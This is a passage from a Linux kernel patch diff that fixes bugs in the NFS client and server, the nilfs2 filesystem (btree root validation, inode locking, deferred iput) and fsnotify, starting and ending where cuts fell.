+ #if defined(CONFIG_NFS_V4_1) static void nfs41_clear_delegation_stateid(struct nfs4_state *state) { @@ -2021,7 +2043,7 @@ static int _nfs4_do_open(struct inode *dir, if (status != 0) goto err_opendata_put; - if ((opendata->o_arg.open_flags & O_EXCL) && + if ((opendata->o_arg.open_flags & (O_CREAT|O_EXCL)) == (O_CREAT|O_EXCL) && (opendata->o_arg.createmode != NFS4_CREATE_GUARDED)) { nfs4_exclusive_attrset(opendata, sattr); @@ -2287,6 +2309,7 @@ static void nfs4_close_prepare(struct rpc_task *task, void *data) struct nfs4_closedata *calldata = data; struct nfs4_state *state = calldata->state; struct inode *inode = calldata->inode; + bool is_rdonly, is_wronly, is_rdwr; int call_close = 0; dprintk("%s: begin!\n", __func__); @@ -2294,21 +2317,26 @@ static void nfs4_close_prepare(struct rpc_task *task, void *data) goto out_wait; task->tk_msg.rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_OPEN_DOWNGRADE]; - calldata->arg.fmode = FMODE_READ|FMODE_WRITE; spin_lock(&state->owner->so_lock); + is_rdwr = test_bit(NFS_O_RDWR_STATE, &state->flags); + is_rdonly = test_bit(NFS_O_RDONLY_STATE, &state->flags); + is_wronly = test_bit(NFS_O_WRONLY_STATE, &state->flags); /* Calculate the change in open mode */ + calldata->arg.fmode = 0; if (state->n_rdwr == 0) { - if (state->n_rdonly == 0) { - call_close |= test_bit(NFS_O_RDONLY_STATE, &state->flags); - call_close |= test_bit(NFS_O_RDWR_STATE, &state->flags); - calldata->arg.fmode &= ~FMODE_READ; - } - if (state->n_wronly == 0) { - call_close |= test_bit(NFS_O_WRONLY_STATE, &state->flags); - call_close |= test_bit(NFS_O_RDWR_STATE, &state->flags); - calldata->arg.fmode &= ~FMODE_WRITE; - } - } + if (state->n_rdonly == 0) + call_close |= is_rdonly; + else if (is_rdonly) + calldata->arg.fmode |= FMODE_READ; + if (state->n_wronly == 0) + call_close |= is_wronly; + else if (is_wronly) + calldata->arg.fmode |= FMODE_WRITE; + if (calldata->arg.fmode != (FMODE_READ|FMODE_WRITE)) + call_close |= is_rdwr; + } else if (is_rdwr) + calldata->arg.fmode |= FMODE_READ|FMODE_WRITE; + if (!nfs4_valid_open_stateid(state)) call_close = 0; spin_unlock(&state->owner->so_lock); @@ -6060,7 +6088,7 @@ static int nfs41_proc_async_sequence(struct nfs_client *clp, struct rpc_cred *cr int ret = 0; if ((renew_flags & NFS4_RENEW_TIMEOUT) == 0) - return 0; + return -EAGAIN; task = _nfs41_proc_sequence(clp, cred, false); if (IS_ERR(task)) ret = PTR_ERR(task); @@ -6389,6 +6417,9 @@ nfs4_proc_layoutget(struct nfs4_layoutget *lgp, gfp_t gfp_flags) dprintk("--> %s\n", __func__); + /* nfs4_layoutget_release calls pnfs_put_layout_hdr */ + pnfs_get_layout_hdr(NFS_I(inode)->layout); + lgp->args.layout.pages = nfs4_alloc_pages(max_pages, gfp_flags); if (!lgp->args.layout.pages) { nfs4_layoutget_release(lgp); @@ -6401,9 +6432,6 @@ nfs4_proc_layoutget(struct nfs4_layoutget *lgp, gfp_t gfp_flags) lgp->res.seq_res.sr_slot = NULL; nfs41_init_sequence(&lgp->args.seq_args, &lgp->res.seq_res, 0); - /* nfs4_layoutget_release calls pnfs_put_layout_hdr */ - pnfs_get_layout_hdr(NFS_I(inode)->layout); - task = rpc_run_task(&task_setup_data); if (IS_ERR(task)) return ERR_CAST(task); @@ -6967,7 +6995,7 @@ static const struct nfs4_state_recovery_ops nfs41_reboot_recovery_ops = { static const struct nfs4_state_recovery_ops nfs40_nograce_recovery_ops = { .owner_flag_bit = NFS_OWNER_RECLAIM_NOGRACE, .state_flag_bit = NFS_STATE_RECLAIM_NOGRACE, - .recover_open = nfs4_open_expired, + .recover_open = nfs40_open_expired, .recover_lock = nfs4_lock_expired, .establish_clid = nfs4_init_clientid, .get_clid_cred = nfs4_get_setclientid_cred, diff --git a/fs/nfs/nfs4renewd.c b/fs/nfs/nfs4renewd.c index 1720d32ffa545..e1ba58c3d1ad3 100644 --- a/fs/nfs/nfs4renewd.c +++ b/fs/nfs/nfs4renewd.c @@ -88,10 +88,18 @@ nfs4_renew_state(struct work_struct *work) } nfs_expire_all_delegations(clp); } else { + int ret; + /* Queue an asynchronous RENEW. */ - ops->sched_state_renewal(clp, cred, renew_flags); + ret = ops->sched_state_renewal(clp, cred, renew_flags); put_rpccred(cred); - goto out_exp; + switch (ret) { + default: + goto out_exp; + case -EAGAIN: + case -ENOMEM: + break; + } } } else { dprintk("%s: failed to call renewd. Reason: lease not expired \n", diff --git a/fs/nfs/nfs4state.c b/fs/nfs/nfs4state.c index e42d031b0ae87..7c5cc82f5443b 100644 --- a/fs/nfs/nfs4state.c +++ b/fs/nfs/nfs4state.c @@ -1452,6 +1452,8 @@ static int nfs4_reclaim_open_state(struct nfs4_state_owner *sp, const struct nfs } spin_unlock(&state->state_lock); nfs4_put_open_state(state); + clear_bit(NFS_STATE_RECLAIM_NOGRACE, + &state->flags); spin_lock(&sp->so_lock); goto restart; } @@ -1699,7 +1701,8 @@ static int nfs4_do_reclaim(struct nfs_client *clp, const struct nfs4_state_recov if (status < 0) { set_bit(ops->owner_flag_bit, &sp->so_flags); nfs4_put_state_owner(sp); - return nfs4_recovery_handle_error(clp, status); + status = nfs4_recovery_handle_error(clp, status); + return (status != 0) ? status : -EAGAIN; } nfs4_put_state_owner(sp); @@ -1708,7 +1711,7 @@ static int nfs4_do_reclaim(struct nfs_client *clp, const struct nfs4_state_recov spin_unlock(&clp->cl_lock); } rcu_read_unlock(); - return status; + return 0; } static int nfs4_check_lease(struct nfs_client *clp) @@ -1755,7 +1758,6 @@ static int nfs4_handle_reclaim_lease_error(struct nfs_client *clp, int status) break; case -NFS4ERR_STALE_CLIENTID: clear_bit(NFS4CLNT_LEASE_CONFIRM, &clp->cl_state); - nfs4_state_clear_reclaim_reboot(clp); nfs4_state_start_reclaim_reboot(clp); break; case -NFS4ERR_CLID_INUSE: @@ -2174,14 +2176,11 @@ static void nfs4_state_manager(struct nfs_client *clp) section = "reclaim reboot"; status = nfs4_do_reclaim(clp, clp->cl_mvops->reboot_recovery_ops); - if (test_bit(NFS4CLNT_LEASE_EXPIRED, &clp->cl_state) || - test_bit(NFS4CLNT_SESSION_RESET, &clp->cl_state)) - continue; - nfs4_state_end_reclaim_reboot(clp); - if (test_bit(NFS4CLNT_RECLAIM_NOGRACE, &clp->cl_state)) + if (status == -EAGAIN) continue; if (status < 0) goto out_error; + nfs4_state_end_reclaim_reboot(clp); } /* Now recover expired state... */ @@ -2189,9 +2188,7 @@ static void nfs4_state_manager(struct nfs_client *clp) section = "reclaim nograce"; status = nfs4_do_reclaim(clp, clp->cl_mvops->nograce_recovery_ops); - if (test_bit(NFS4CLNT_LEASE_EXPIRED, &clp->cl_state) || - test_bit(NFS4CLNT_SESSION_RESET, &clp->cl_state) || - test_bit(NFS4CLNT_RECLAIM_REBOOT, &clp->cl_state)) + if (status == -EAGAIN) continue; if (status < 0) goto out_error; diff --git a/fs/nfs/pagelist.c b/fs/nfs/pagelist.c index 25963b4c4ec7f..a19b67cf323eb 100644 --- a/fs/nfs/pagelist.c +++ b/fs/nfs/pagelist.c @@ -60,8 +60,8 @@ EXPORT_SYMBOL_GPL(nfs_pgheader_init); void nfs_set_pgio_error(struct nfs_pgio_header *hdr, int error, loff_t pos) { spin_lock(&hdr->lock); - if (pos < hdr->io_start + hdr->good_bytes) { - set_bit(NFS_IOHDR_ERROR, &hdr->flags); + if (!test_and_set_bit(NFS_IOHDR_ERROR, &hdr->flags) + || pos < hdr->io_start + hdr->good_bytes) { clear_bit(NFS_IOHDR_EOF, &hdr->flags); hdr->good_bytes = pos - hdr->io_start; hdr->error = error; diff --git a/fs/nfsd/nfs4callback.c b/fs/nfsd/nfs4callback.c index 3eaa6e30a2dc7..f42bbe5fbc0a8 100644 --- a/fs/nfsd/nfs4callback.c +++ b/fs/nfsd/nfs4callback.c @@ -672,7 +672,8 @@ static int setup_callback_client(struct nfs4_client *clp, struct nfs4_cb_conn *c clp->cl_cb_session = ses; args.bc_xprt = conn->cb_xprt; args.prognumber = clp->cl_cb_session->se_cb_prog; - args.protocol = XPRT_TRANSPORT_BC_TCP; + args.protocol = conn->cb_xprt->xpt_class->xcl_ident | + XPRT_TRANSPORT_BC; args.authflavor = ses->se_cb_sec.flavor; } /* Create RPC client */ @@ -783,8 +784,12 @@ static bool nfsd41_cb_get_slot(struct nfs4_client *clp, struct rpc_task *task) { if (test_and_set_bit(0, &clp->cl_cb_slot_busy) != 0) { rpc_sleep_on(&clp->cl_cb_waitq, task, NULL); - dprintk("%s slot is busy\n", __func__); - return false; + /* Race breaker */ + if (test_and_set_bit(0, &clp->cl_cb_slot_busy) != 0) { + dprintk("%s slot is busy\n", __func__); + return false; + } + rpc_wake_up_queued_task(&clp->cl_cb_waitq, task); } return true; } diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 0f9ce13972d03..9240dd1678da6 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -1191,7 +1191,8 @@ static bool need_wrongsec_check(struct svc_rqst *rqstp) */ if (argp->opcnt == resp->opcnt) return false; - + if (next->opnum == OP_ILLEGAL) + return false; nextd = OPDESC(next); /* * Rest of 2.6.3.1.1: certain operations will return WRONGSEC diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c index bdff771057d3e..4a58afa99654e 100644 --- a/fs/nfsd/nfs4state.c +++ b/fs/nfsd/nfs4state.c @@ -367,7 +367,6 @@ static struct nfs4_delegation * alloc_init_deleg(struct nfs4_client *clp, struct nfs4_ol_stateid *stp, struct svc_fh *current_fh, u32 type) { struct nfs4_delegation *dp; - struct nfs4_file *fp = stp->st_file; dprintk("NFSD alloc_init_deleg\n"); /* @@ -377,8 +376,6 @@ alloc_init_deleg(struct nfs4_client *clp, struct nfs4_ol_stateid *stp, struct sv */ if (type != NFS4_OPEN_DELEGATE_READ) return NULL; - if (fp->fi_had_conflict) - return NULL; if (num_delegations > max_delegations) return NULL; dp = delegstateid(nfs4_alloc_stid(clp, deleg_slab)); @@ -395,8 +392,7 @@ alloc_init_deleg(struct nfs4_client *clp, struct nfs4_ol_stateid *stp, struct sv INIT_LIST_HEAD(&dp->dl_perfile); INIT_LIST_HEAD(&dp->dl_perclnt); INIT_LIST_HEAD(&dp->dl_recall_lru); - get_nfs4_file(fp); - dp->dl_file = fp; + dp->dl_file = NULL; dp->dl_type = type; fh_copy_shallow(&dp->dl_fh, ¤t_fh->fh_handle); dp->dl_time = 0; @@ -1204,15 +1200,14 @@ static int copy_cred(struct svc_cred *target, struct svc_cred *source) return 0; } -static long long +static int compare_blob(const struct xdr_netobj *o1, const struct xdr_netobj *o2) { - long long res; - - res = o1->len - o2->len; - if (res) - return res; - return (long long)memcmp(o1->data, o2->data, o1->len); + if (o1->len < o2->len) + return -1; + if (o1->len > o2->len) + return 1; + return memcmp(o1->data, o2->data, o1->len); } static int same_name(const char *n1, const char *n2) @@ -1369,7 +1364,7 @@ add_clp_to_name_tree(struct nfs4_client *new_clp, struct rb_root *root) static struct nfs4_client * find_clp_in_name_tree(struct xdr_netobj *name, struct rb_root *root) { - long long cmp; + int cmp; struct rb_node *node = root->rb_node; struct nfs4_client *clp; @@ -2965,22 +2960,35 @@ static int nfs4_setlease(struct nfs4_delegation *dp, int flag) return 0; } -static int nfs4_set_delegation(struct nfs4_delegation *dp, int flag) +static int nfs4_set_delegation(struct nfs4_delegation *dp, int flag, struct nfs4_file *fp) { - struct nfs4_file *fp = dp->dl_file; + int status; - if (!fp->fi_lease) - return nfs4_setlease(dp, flag); + if (fp->fi_had_conflict) + return -EAGAIN; + get_nfs4_file(fp); + dp->dl_file = fp; + if (!fp->fi_lease) { + status = nfs4_setlease(dp, flag); + if (status) + goto out_free; + return 0; + } spin_lock(&recall_lock); if (fp->fi_had_conflict) { spin_unlock(&recall_lock); - return -EAGAIN; + status = -EAGAIN; + goto out_free; } atomic_inc(&fp->fi_delegees); list_add(&dp->dl_perfile, &fp->fi_delegations); spin_unlock(&recall_lock); list_add(&dp->dl_perclnt, &dp->dl_stid.sc_client->cl_delegations); return 0; +out_free: + put_nfs4_file(fp); + dp->dl_file = fp; + return status; } static void nfsd4_open_deleg_none_ext(struct nfsd4_open *open, int status) @@ -3046,7 +3054,7 @@ nfs4_open_delegation(struct net *net, struct svc_fh *fh, dp = alloc_init_deleg(oo->oo_owner.so_client, stp, fh, flag); if (dp == NULL) goto out_no_deleg; - status = nfs4_set_delegation(dp, flag); + status = nfs4_set_delegation(dp, flag, stp->st_file); if (status) goto out_free; diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 9b45f0666cfcf..acf179d7615f2 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -1743,6 +1743,9 @@ static __be32 nfsd4_encode_components_esc(char sep, char *components, } else end++; + if (found_esc) + end = next; + str = end; } *pp = p; diff --git a/fs/nfsd/nfssvc.c b/fs/nfsd/nfssvc.c index 262df5ccbf59d..8016892f3f052 100644 --- a/fs/nfsd/nfssvc.c +++ b/fs/nfsd/nfssvc.c @@ -220,7 +220,8 @@ static int nfsd_startup_generic(int nrservs) */ ret = nfsd_racache_init(2*nrservs); if (ret) - return ret; + goto dec_users; + ret = nfs4_state_start(); if (ret) goto out_racache; @@ -228,6 +229,8 @@ static int nfsd_startup_generic(int nrservs) out_racache: nfsd_racache_shutdown(); +dec_users: + nfsd_users--; return ret; } diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index d9b298cbfe5c2..81325ba8660ae 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -508,6 +508,9 @@ set_nfsv4_acl_one(struct dentry *dentry, struct posix_acl *pacl, char *key) char *buf = NULL; int error = 0; + if (!pacl) + return vfs_setxattr(dentry, key, NULL, 0, 0); + buflen = posix_acl_xattr_size(pacl->a_count); buf = kmalloc(buflen, GFP_KERNEL); error = -ENOMEM; diff --git a/fs/nilfs2/btree.c b/fs/nilfs2/btree.c index b2e3ff3476207..090d8ce25bd10 100644 --- a/fs/nilfs2/btree.c +++ b/fs/nilfs2/btree.c @@ -31,6 +31,8 @@ #include "alloc.h" #include "dat.h" +static void __nilfs_btree_init(struct nilfs_bmap *bmap); + static struct nilfs_btree_path *nilfs_btree_alloc_path(void) { struct nilfs_btree_path *path; @@ -368,6 +370,34 @@ static int nilfs_btree_node_broken(const struct nilfs_btree_node *node, return ret; } +/** + * nilfs_btree_root_broken - verify consistency of btree root node + * @node: btree root node to be examined + * @ino: inode number + * + * Return Value: If node is broken, 1 is returned. Otherwise, 0 is returned. + */ +static int nilfs_btree_root_broken(const struct nilfs_btree_node *node, + unsigned long ino) +{ + int level, flags, nchildren; + int ret = 0; + + level = nilfs_btree_node_get_level(node); + flags = nilfs_btree_node_get_flags(node); + nchildren = nilfs_btree_node_get_nchildren(node); + + if (unlikely(level < NILFS_BTREE_LEVEL_NODE_MIN || + level >= NILFS_BTREE_LEVEL_MAX || + nchildren < 0 || + nchildren > NILFS_BTREE_ROOT_NCHILDREN_MAX)) { + pr_crit("NILFS: bad btree root (inode number=%lu): level = %d, flags = 0x%x, nchildren = %d\n", + ino, level, flags, nchildren); + ret = 1; + } + return ret; +} + int nilfs_btree_broken_node_block(struct buffer_head *bh) { int ret; @@ -1713,7 +1743,7 @@ nilfs_btree_commit_convert_and_insert(struct nilfs_bmap *btree, /* convert and insert */ dat = NILFS_BMAP_USE_VBN(btree) ? nilfs_bmap_get_dat(btree) : NULL; - nilfs_btree_init(btree); + __nilfs_btree_init(btree); if (nreq != NULL) { nilfs_bmap_commit_alloc_ptr(btree, dreq, dat); nilfs_bmap_commit_alloc_ptr(btree, nreq, dat); @@ -2294,12 +2324,23 @@ static const struct nilfs_bmap_operations nilfs_btree_ops_gc = { .bop_gather_data = NULL, }; -int nilfs_btree_init(struct nilfs_bmap *bmap) +static void __nilfs_btree_init(struct nilfs_bmap *bmap) { bmap->b_ops = &nilfs_btree_ops; bmap->b_nchildren_per_block = NILFS_BTREE_NODE_NCHILDREN_MAX(nilfs_btree_node_size(bmap)); - return 0; +} + +int nilfs_btree_init(struct nilfs_bmap *bmap) +{ + int ret = 0; + + __nilfs_btree_init(bmap); + + if (nilfs_btree_root_broken(nilfs_btree_get_root(bmap), + bmap->b_inode->i_ino)) + ret = -EIO; + return ret; } void nilfs_btree_init_gc(struct nilfs_bmap *bmap) diff --git a/fs/nilfs2/inode.c b/fs/nilfs2/inode.c index bccfec8343c5e..587d699bdc2c7 100644 --- a/fs/nilfs2/inode.c +++ b/fs/nilfs2/inode.c @@ -24,6 +24,7 @@ #include #include #include +#include #include #include #include "nilfs.h" @@ -48,6 +49,8 @@ struct nilfs_iget_args { int for_gc; }; +static int nilfs_iget_test(struct inode *inode, void *opaque); + void nilfs_inode_add_blocks(struct inode *inode, int n) { struct nilfs_root *root = NILFS_I(inode)->i_root; @@ -219,10 +222,10 @@ static int nilfs_writepage(struct page *page, struct writeback_control *wbc) static int nilfs_set_page_dirty(struct page *page) { + struct inode *inode = page->mapping->host; int ret = __set_page_dirty_nobuffers(page); if (page_has_buffers(page)) { - struct inode *inode = page->mapping->host; unsigned nr_dirty = 0; struct buffer_head *bh, *head; @@ -245,6 +248,10 @@ static int nilfs_set_page_dirty(struct page *page) if (nr_dirty) nilfs_set_file_dirty(inode, nr_dirty); + } else if (ret) { + unsigned nr_dirty = 1 << (PAGE_CACHE_SHIFT - inode->i_blkbits); + + nilfs_set_file_dirty(inode, nr_dirty); } return ret; } @@ -342,6 +349,17 @@ const struct address_space_operations nilfs_aops = { .is_partially_uptodate = block_is_partially_uptodate, }; +static int nilfs_insert_inode_locked(struct inode *inode, + struct nilfs_root *root, + unsigned long ino) +{ + struct nilfs_iget_args args = { + .ino = ino, .root = root, .cno = 0, .for_gc = 0 + }; + + return insert_inode_locked4(inode, ino, nilfs_iget_test, &args); +} + struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) { struct super_block *sb = dir->i_sb; @@ -377,7 +395,7 @@ struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) if (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)) { err = nilfs_bmap_read(ii->i_bmap, NULL); if (err < 0) - goto failed_bmap; + goto failed_after_creation; set_bit(NILFS_I_BMAP, &ii->i_state); /* No lock is needed; iget() ensures it. */ @@ -393,21 +411,24 @@ struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) spin_lock(&nilfs->ns_next_gen_lock); inode->i_generation = nilfs->ns_next_generation++; spin_unlock(&nilfs->ns_next_gen_lock); - insert_inode_hash(inode); + if (nilfs_insert_inode_locked(inode, root, ino) < 0) { + err = -EIO; + goto failed_after_creation; + } err = nilfs_init_acl(inode, dir); if (unlikely(err)) - goto failed_acl; /* never occur. When supporting + goto failed_after_creation; /* never occur. When supporting nilfs_init_acl(), proper cancellation of above jobs should be considered */ return inode; - failed_acl: - failed_bmap: + failed_after_creation: clear_nlink(inode); + unlock_new_inode(inode); iput(inode); /* raw_inode will be deleted through - generic_delete_inode() */ + nilfs_evict_inode() */ goto failed; failed_ifile_create_inode: @@ -455,8 +476,8 @@ int nilfs_read_inode_common(struct inode *inode, inode->i_atime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); inode->i_ctime.tv_nsec = le32_to_cpu(raw_inode->i_ctime_nsec); inode->i_mtime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); - if (inode->i_nlink == 0 && inode->i_mode == 0) - return -EINVAL; /* this inode is deleted */ + if (inode->i_nlink == 0) + return -ESTALE; /* this inode is deleted */ inode->i_blocks = le64_to_cpu(raw_inode->i_blocks); ii->i_flags = le32_to_cpu(raw_inode->i_flags); diff --git a/fs/nilfs2/namei.c b/fs/nilfs2/namei.c index 9de78f08989ed..0f84b257932c2 100644 --- a/fs/nilfs2/namei.c +++ b/fs/nilfs2/namei.c @@ -51,9 +51,11 @@ static inline int nilfs_add_nondir(struct dentry *dentry, struct inode *inode) int err = nilfs_add_link(dentry, inode); if (!err) { d_instantiate(dentry, inode); + unlock_new_inode(inode); return 0; } inode_dec_link_count(inode); + unlock_new_inode(inode); iput(inode); return err; } @@ -182,6 +184,7 @@ static int nilfs_symlink(struct inode *dir, struct dentry *dentry, out_fail: drop_nlink(inode); nilfs_mark_inode_dirty(inode); + unlock_new_inode(inode); iput(inode); goto out; } @@ -201,11 +204,15 @@ static int nilfs_link(struct dentry *old_dentry, struct inode *dir, inode_inc_link_count(inode); ihold(inode); - err = nilfs_add_nondir(dentry, inode); - if (!err) + err = nilfs_add_link(dentry, inode); + if (!err) { + d_instantiate(dentry, inode); err = nilfs_transaction_commit(dir->i_sb); - else + } else { + inode_dec_link_count(inode); + iput(inode); nilfs_transaction_abort(dir->i_sb); + } return err; } @@ -243,6 +250,7 @@ static int nilfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) nilfs_mark_inode_dirty(inode); d_instantiate(dentry, inode); + unlock_new_inode(inode); out: if (!err) err = nilfs_transaction_commit(dir->i_sb); @@ -255,6 +263,7 @@ static int nilfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) drop_nlink(inode); drop_nlink(inode); nilfs_mark_inode_dirty(inode); + unlock_new_inode(inode); iput(inode); out_dir: drop_nlink(dir); diff --git a/fs/nilfs2/nilfs.h b/fs/nilfs2/nilfs.h index 9bc72dec3fa69..b02c202223a6e 100644 --- a/fs/nilfs2/nilfs.h +++ b/fs/nilfs2/nilfs.h @@ -141,7 +141,6 @@ enum { * @ti_save: Backup of journal_info field of task_struct * @ti_flags: Flags * @ti_count: Nest level - * @ti_garbage: List of inode to be put when releasing semaphore */ struct nilfs_transaction_info { u32 ti_magic; @@ -150,7 +149,6 @@ struct nilfs_transaction_info { one of other filesystems has a bug. */ unsigned short ti_flags; unsigned short ti_count; - struct list_head ti_garbage; }; /* ti_magic */ diff --git a/fs/nilfs2/segment.c b/fs/nilfs2/segment.c index 958a5b57ed4ab..99294a286e663 100644 --- a/fs/nilfs2/segment.c +++ b/fs/nilfs2/segment.c @@ -305,7 +305,6 @@ static void nilfs_transaction_lock(struct super_block *sb, ti->ti_count = 0; ti->ti_save = cur_ti; ti->ti_magic = NILFS_TI_MAGIC; - INIT_LIST_HEAD(&ti->ti_garbage); current->journal_info = ti; for (;;) { @@ -332,8 +331,6 @@ static void nilfs_transaction_unlock(struct super_block *sb) up_write(&nilfs->ns_segctor_sem); current->journal_info = ti->ti_save; - if (!list_empty(&ti->ti_garbage)) - nilfs_dispose_list(nilfs, &ti->ti_garbage, 0); } static void *nilfs_segctor_map_segsum_entry(struct nilfs_sc_info *sci, @@ -746,6 +743,15 @@ static void nilfs_dispose_list(struct the_nilfs *nilfs, } } +static void nilfs_iput_work_func(struct work_struct *work) +{ + struct nilfs_sc_info *sci = container_of(work, struct nilfs_sc_info, + sc_iput_work); + struct the_nilfs *nilfs = sci->sc_super->s_fs_info; + + nilfs_dispose_list(nilfs, &sci->sc_iput_queue, 0); +} + static int nilfs_test_metadata_dirty(struct the_nilfs *nilfs, struct nilfs_root *root) { @@ -1899,8 +1905,9 @@ static int nilfs_segctor_collect_dirty_files(struct nilfs_sc_info *sci, static void nilfs_segctor_drop_written_files(struct nilfs_sc_info *sci, struct the_nilfs *nilfs) { - struct nilfs_transaction_info *ti = current->journal_info; struct nilfs_inode_info *ii, *n; + int during_mount = !(sci->sc_super->s_flags & MS_ACTIVE); + int defer_iput = false; spin_lock(&nilfs->ns_inode_lock); list_for_each_entry_safe(ii, n, &sci->sc_dirty_files, i_dirty) { @@ -1911,9 +1918,24 @@ static void nilfs_segctor_drop_written_files(struct nilfs_sc_info *sci, clear_bit(NILFS_I_BUSY, &ii->i_state); brelse(ii->i_bh); ii->i_bh = NULL; - list_move_tail(&ii->i_dirty, &ti->ti_garbage); + list_del_init(&ii->i_dirty); + if (!ii->vfs_inode.i_nlink || during_mount) { + /* + * Defer calling iput() to avoid deadlocks if + * i_nlink == 0 or mount is not yet finished. + */ + list_add_tail(&ii->i_dirty, &sci->sc_iput_queue); + defer_iput = true; + } else { + spin_unlock(&nilfs->ns_inode_lock); + iput(&ii->vfs_inode); + spin_lock(&nilfs->ns_inode_lock); + } } spin_unlock(&nilfs->ns_inode_lock); + + if (defer_iput) + schedule_work(&sci->sc_iput_work); } /* @@ -2580,6 +2602,8 @@ static struct nilfs_sc_info *nilfs_segctor_new(struct super_block *sb, INIT_LIST_HEAD(&sci->sc_segbufs); INIT_LIST_HEAD(&sci->sc_write_logs); INIT_LIST_HEAD(&sci->sc_gc_inodes); + INIT_LIST_HEAD(&sci->sc_iput_queue); + INIT_WORK(&sci->sc_iput_work, nilfs_iput_work_func); init_timer(&sci->sc_timer); sci->sc_interval = HZ * NILFS_SC_DEFAULT_TIMEOUT; @@ -2606,6 +2630,8 @@ static void nilfs_segctor_write_out(struct nilfs_sc_info *sci) ret = nilfs_segctor_construct(sci, SC_LSEG_SR); nilfs_transaction_unlock(sci->sc_super); + flush_work(&sci->sc_iput_work); + } while (ret && retrycount-- > 0); } @@ -2630,6 +2656,9 @@ static void nilfs_segctor_destroy(struct nilfs_sc_info *sci) || sci->sc_seq_request != sci->sc_seq_done); spin_unlock(&sci->sc_state_lock); + if (flush_work(&sci->sc_iput_work)) + flag = true; + if (flag || !nilfs_segctor_confirm(sci)) nilfs_segctor_write_out(sci); @@ -2639,6 +2668,12 @@ static void nilfs_segctor_destroy(struct nilfs_sc_info *sci) nilfs_dispose_list(nilfs, &sci->sc_dirty_files, 1); } + if (!list_empty(&sci->sc_iput_queue)) { + nilfs_warning(sci->sc_super, __func__, + "iput queue is not empty\n"); + nilfs_dispose_list(nilfs, &sci->sc_iput_queue, 1); + } + WARN_ON(!list_empty(&sci->sc_segbufs)); WARN_ON(!list_empty(&sci->sc_write_logs)); diff --git a/fs/nilfs2/segment.h b/fs/nilfs2/segment.h index 38a1d00133143..a48d6de1e02cc 100644 --- a/fs/nilfs2/segment.h +++ b/fs/nilfs2/segment.h @@ -26,6 +26,7 @@ #include #include #include +#include #include #include "nilfs.h" @@ -92,6 +93,8 @@ struct nilfs_segsum_pointer { * @sc_nblk_inc: Block count of current generation * @sc_dirty_files: List of files to be written * @sc_gc_inodes: List of GC inodes having blocks to be written + * @sc_iput_queue: list of inodes for which iput should be done + * @sc_iput_work: work struct to defer iput call * @sc_freesegs: array of segment numbers to be freed * @sc_nfreesegs: number of segments on @sc_freesegs * @sc_dsync_inode: inode whose data pages are written for a sync operation @@ -135,6 +138,8 @@ struct nilfs_sc_info { struct list_head sc_dirty_files; struct list_head sc_gc_inodes; + struct list_head sc_iput_queue; + struct work_struct sc_iput_work; __u64 *sc_freesegs; size_t sc_nfreesegs; diff --git a/fs/nilfs2/the_nilfs.c b/fs/nilfs2/the_nilfs.c index 41e6a04a561f3..0f9a5b4ad53b6 100644 --- a/fs/nilfs2/the_nilfs.c +++ b/fs/nilfs2/the_nilfs.c @@ -431,7 +431,7 @@ static int nilfs_valid_sb(struct nilfs_super_block *sbp) if (!sbp || le16_to_cpu(sbp->s_magic) != NILFS_SUPER_MAGIC) return 0; bytes = le16_to_cpu(sbp->s_bytes); - if (bytes > BLOCK_SIZE) + if (bytes < sumoff + 4 || bytes > BLOCK_SIZE) return 0; crc = crc32_le(le32_to_cpu(sbp->s_crc_seed), (unsigned char *)sbp, sumoff); diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c index f1680cdbd88bc..9be6b4163406f 100644 --- a/fs/notify/fanotify/fanotify_user.c +++ b/fs/notify/fanotify/fanotify_user.c @@ -69,7 +69,7 @@ static int create_fd(struct fsnotify_group *group, pr_debug("%s: group=%p event=%p\n", __func__, group, event); - client_fd = get_unused_fd(); + client_fd = get_unused_fd_flags(group->fanotify_data.f_flags); if (client_fd < 0) return client_fd; diff --git a/fs/notify/fdinfo.c b/fs/notify/fdinfo.c index 238a5930cb3c7..9d7e2b9659cbd 100644 --- a/fs/notify/fdinfo.c +++ b/fs/notify/fdinfo.c @@ -42,7 +42,7 @@ static int show_mark_fhandle(struct seq_file *m, struct inode *inode) { struct { struct file_handle handle; - u8 pad[64]; + u8 pad[MAX_HANDLE_SZ]; } f; int size, ret, i; @@ -50,7 +50,7 @@ static int show_mark_fhandle(struct seq_file *m, struct inode *inode) size = f.handle.handle_bytes >> 2; ret = exportfs_encode_inode_fh(inode, (struct fid *)f.handle.f_handle, &size, 0); - if ((ret == 255) || (ret == -ENOSPC)) { + if ((ret == FILEID_INVALID) || (ret < 0)) { WARN_ONCE(1, "Can't encode file handler for inotify: %d\n", ret); return 0; } diff --git a/fs/notify/fsnotify.c b/fs/notify/fsnotify.c index 4bb21d67d9b1b..a3153e2d0f1f4 100644 --- a/fs/notify/fsnotify.c +++ b/fs/notify/fsnotify.c @@ -63,14 +63,14 @@ void __fsnotify_update_child_dentry_flags(struct inode *inode) spin_lock(&inode->i_lock); /* run all of the dentries associated with this inode. Since this is a * directory, there damn well better only be one item on this list */ - hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { + hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { struct dentry *child; /* run all of the children of the original inode and fix their * d_flags to indicate parental interest (their parent is the * original inode) */ spin_lock(&alias->d_lock); - list_for_each_entry(child, &alias->d_subdirs, d_u.d_child) { + list_for_each_entry(child, &alias->d_subdirs, d_child) { if (!child->d_inode) continue; diff --git a/fs/notify/inode_mark.c b/fs/notify/inode_mark.c index 